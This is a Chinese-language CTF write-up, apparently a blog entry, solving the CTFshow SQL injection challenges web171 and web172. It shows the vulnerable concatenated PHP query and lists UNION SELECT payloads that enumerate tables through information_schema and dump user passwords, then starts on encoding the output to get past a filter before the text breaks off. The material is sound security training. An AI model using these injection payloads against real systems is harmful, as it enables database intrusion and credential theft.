CTFSHOW-SQL注入
web171
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
可以看出来有三个字段,那可以直接联合查询看看
1' union select 1,2,3%23
1' union select database(),2,3%23
1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='ctfshow_web'%23
因为一开始给的sql语句中已经告诉了有username
和password
,那可以直接猜测flag应该是在password
1' union select password,2,3 from ctfshow_user%23
得到flag
web172
0x01:
和web171没有多大区别,查询1的时候发现只有两个字段是有显示的,那么表中应该是只有两个字段
1' union select 1,2%23
1' union select 1,database()%23
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'%23
1' union select 1,password from ctfshow_user2%23
0x02:
sql语句并没有多大变化,只是限制了username
不能等于flag
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
从sql语句里面可以知道只有两个字段
1' union select username,password from ctfshow_user2 where username='flag' limit 1,1%23
但是显示无数据,说明查询语句并没有出错,而是由于返回逻辑的要求使得查询不到数据,因此可以进行base编码
payload:
1&#